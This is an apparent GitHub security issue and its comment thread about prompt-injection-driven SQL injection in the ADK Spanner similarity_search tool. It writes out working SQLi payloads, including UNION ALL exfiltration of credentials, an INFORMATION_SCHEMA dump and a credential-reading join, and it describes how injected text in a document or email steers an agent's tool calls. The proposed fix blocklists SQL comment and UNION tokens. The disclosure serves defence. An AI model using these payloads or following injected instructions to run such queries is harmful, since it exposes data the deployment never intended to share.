Repository navigation
Spanner search tool: validate structural SQL identifiers (defense-in-depth for prompt-injection-driven SQLi) #5913
Description
Summary
google.adk.tools.spanner.search_tool interpolates several LLM-controllable
parameters into SQL via f-strings without validation:
table_name,columns,embedding_column_to_search,additional_filter,
top_kin_generate_sql_for_knn/_generate_sql_for_annspanner_googlesql_embedding_model_namein_generate_googlesql_for_embedding_queryvertex_ai_embedding_model_endpoint(inside'...') in
_generate_postgresql_for_embedding_query
These are not standard untrusted-input SQLi (Spanner's execute_sql is
single-statement; stacked queries fail at parse), but similarity_search is
registered as a GoogleTool in SpannerToolset.get_tools() (spanner_toolset.py:122),
so the LLM populates these parameters at runtime. A successful prompt injection
on the agent's input can lead the LLM to call the tool with malicious values,
enabling single-statement primitives like UNION-based read exfiltration and
INFORMATION_SCHEMA enumeration against any table the service account can SELECT.
Threat model
prompt-injected user message
│
▼
LLM populates similarity_search(table_name=..., columns=..., additional_filter=..., ...)
│
▼
_generate_sql_for_knn renders the values into an f-string SQL template
│
▼
snapshot.execute_sql(sql, params={embedding: ...}) -- structural identifiers unbound
The query parameter is correctly bound (@query / $1), but every structural
identifier above flows in unvalidated.
Reproduction (single-statement primitives that work)
Each example below shows the LLM-emitted tool-call arguments and the resulting
SQL rendered by _generate_sql_for_knn. All three parse as a single Spanner
GoogleSQL statement and exercise the documented surface of similarity_search.
1. UNION-based exfiltration via additional_filter
from google.adk.tools.spanner import search_tool
from google.cloud.spanner_admin_database_v1.types import DatabaseDialect
sql = search_tool._generate_sql_for_knn(
dialect=DatabaseDialect.GOOGLE_STANDARD_SQL,
table_name="documents",
embedding_column_to_search="embedding",
columns=["content"],
additional_filter="1=1 UNION ALL SELECT password, 0.0 FROM admin_credentials",
distance_type="COSINE",
top_k=10,
)Rendered SQL:
SELECT content, COSINE_DISTANCE(embedding, @embedding) AS distance
FROM documents
WHERE 1=1 UNION ALL SELECT password, 0.0 FROM admin_credentials
ORDER BY distance
LIMIT 10UNION ALL operates at the SELECT-statement level; column counts match (2 on
each side); ORDER BY distance binds to the combined result. Any table the
service account can SELECT becomes readable through the search result rows.
2. INFORMATION_SCHEMA enumeration via columns
sql = search_tool._generate_sql_for_knn(
dialect=DatabaseDialect.GOOGLE_STANDARD_SQL,
table_name="documents",
embedding_column_to_search="embedding",
columns=[
"(SELECT STRING_AGG(table_name, ',') FROM INFORMATION_SCHEMA.TABLES) AS schema_dump",
"content",
],
additional_filter=None,
distance_type="COSINE",
top_k=1,
)Rendered SQL:
SELECT (SELECT STRING_AGG(table_name, ',') FROM INFORMATION_SCHEMA.TABLES) AS schema_dump,
content,
COSINE_DISTANCE(embedding, @embedding) AS distance
FROM documents
WHERE 1=1
ORDER BY distance
LIMIT 1A scalar subquery in the SELECT list is valid GoogleSQL. The attacker gets the
full table inventory of the database the agent's SA can see, which makes
follow-up primitive 1 trivially weaponizable across the whole instance.
3. Cross-table read via table_name
sql = search_tool._generate_sql_for_knn(
dialect=DatabaseDialect.GOOGLE_STANDARD_SQL,
table_name="documents JOIN admin_credentials ac ON TRUE",
embedding_column_to_search="embedding",
columns=["ac.password", "ac.username"],
additional_filter=None,
distance_type="COSINE",
top_k=50,
)Rendered SQL:
SELECT ac.password, ac.username, COSINE_DISTANCE(embedding, @embedding) AS distance
FROM documents JOIN admin_credentials ac ON TRUE
WHERE 1=1
ORDER BY distance
LIMIT 50A cross-join multiplies documents rows with every row of admin_credentials,
projecting credentials into the search result regardless of vector similarity.
Works against any pair of tables the service account can SELECT.
What does not work (so reviewers don't have to check)
Stacked queries (;-separated statements) are rejected by Spanner's
execute_sql at parse time, so payloads like LIMIT 10; SELECT * FROM secrets,
...; DROP TABLE users, or MODEL m); SELECT ... FROM INFORMATION_SCHEMA.TABLES
do not execute. DDL via execute_sql is also blocked — DDL goes through
Database.update_ddl. The realistic blast radius is bounded to read primitives
against tables the agent's SA can already SELECT.
Proposed fix
- Regex-validate identifiers (table, columns, embedding column, GSQL model name)
- Regex-validate the Vertex AI endpoint format used in the PG literal
- Reject
;,--,/*,*/inadditional_filterand document it as a
developer-trusted field rather than LLM-controllable - Enforce
intontop_kinsidesimilarity_search(the dict path; the
pydanticSpannerVectorStoreSettingspath is already type-safe)
Discovered via OSS VRP, bug ID [redact if needed]. Happy to send a PR.
Activity
llalitkumarrr commentedon Jun 1, 2026
Hello @pk009900 ,
We believe sensitive data access can be controlled through read permissions, which may limit exposure of restricted information. Could you please try this and let us know if you are able to access restricted information? Also, please confirm if we have correctly understood your concern.
pk009900 commentedon Jun 1, 2026
Hi @llalitkumarrr, thanks for picking this up.
You're right that the Spanner service account's read permissions bound the blast radius — an attacker can't read tables the SA itself can't
SELECT. I want to confirm that and explain why I still think the validation is worth adding.The concern isn't permission escalation, it's scope expansion within the SA's existing permissions.
When a developer wires up
SpannerToolsetthey typically intend the agent to search one vector store table — e.g.product_descriptions— with a known set of return columns and a fixed business filter. The SA, however, almost always hasSELECTon more than just that table: shared embedding tables, user profile tables, audit logs, internal config tables, anything else the same application reads. That's the normal shape of a least-privilege-but-not-paranoid SA in a real deployment.Because
similarity_searchis registered as aGoogleTool(spanner_toolset.py:122), the LLM is the one filling intable_name,columns, andadditional_filterat call time. With prompt injection in agent input (e.g. an injected instruction inside a retrieved document, an email body, a webpage the agent fetched), the LLM can be steered to call the tool with values that point at any table the SA can read — not just the one the developer intended.Concretely, in a deployment where the SA can
SELECTfrom bothproduct_descriptionsanduser_profiles:similarity_search(table_name="product_descriptions", columns=["name", "description"], additional_filter="in_stock = TRUE")similarity_search(table_name="product_descriptions JOIN user_profiles u ON TRUE", columns=["u.email", "u.phone"], additional_filter=None)— returns user records on every search.Both calls are within the SA's permissions. Only the first is within the developer's intent. The validators close the gap by ensuring the LLM can only supply identifiers (not joined table expressions, not subqueries in
columns, notUNION ALLinadditional_filter).Empirical confirmation: I have not run these against a live Spanner instance — I don't have a project where I can ethically test against real data. The rendered SQL in the issue parses as valid single-statement GoogleSQL (UNION at SELECT level, scalar subquery in SELECT list, JOIN in FROM), all documented features. Happy to run them against the Spanner emulator and post results if that would help.
Did you understand the concern correctly? Yes — prompt-injection-driven SQL identifier injection in an LLM-exposed tool, bounded by SA permissions, exploitable for cross-table reads and schema enumeration within those permissions. Defense in depth, not a permission-bypass claim.
Happy to send the PR with the validators and tests if the approach lands.
llalitkumarrr commentedon Jun 4, 2026
Hello @pk009900 ,
There is a PR linked to this issue could you please check if this PR resolve the issue?
Additionally could you please explore Fine-grained access control and check if it can of any help for this issue?
pk009900 commentedon Jun 4, 2026
Hi @llalitkumarrr,
Re: Fine-grained access control
FGAC doesn't close this at the SDK layer for three reasons:
roles/spanner.adminsetup per-database by an administrator. Most developers deployingSpannerToolsetwill not have configured it — the SDK cannot assume it is in place.INFORMATION_SCHEMAvisibility requires explicitly grantingspanner_info_readerto the SA. Developers shouldn't need to know this to safely use an ADK tool.The correct fix layer is the SDK, not the deployment environment.
Re: PR #5952
The approach in #5952 is correct. Before merging, please verify these specific gaps from the original report are covered:
spanner_googlesql_embedding_model_namein_generate_googlesql_for_embedding_queryvertex_ai_embedding_model_endpointin_generate_postgresql_for_embedding_queryUNIONkeyword blocked inadditional_filter(the current blocklist covers;,--,/*,*/but UNION without a semicolon is the primary exfiltration primitive)If those three are addressed, the PR resolves the issue.
samples: add ATR security guardrail plugin
llalitkumarrr commentedon Jul 22, 2026
Hello @sasha-gitg ,
Could you please take a look at this?
pk009900 commentedon Aug 6, 2026
Hi @sasha-gitg,
Just checking in on this — the issue has been open for ~10 weeks and PR #5952 has been linked since Jun 3.
To save review time, the three items I'd flag on the PR before merge:
spanner_googlesql_embedding_model_namein_generate_googlesql_for_embedding_query— needs the same identifier validationvertex_ai_embedding_model_endpointin_generate_postgresql_for_embedding_query— needs format validationUNIONkeyword in theadditional_filterblocklist — without it the primary exfiltration primitive (UNION ALL read across tables) still works even with;,--,/*blockedHappy to open a follow-up PR covering any of these if it helps move things along.
fix: validate SQL identifiers in Spanner search tool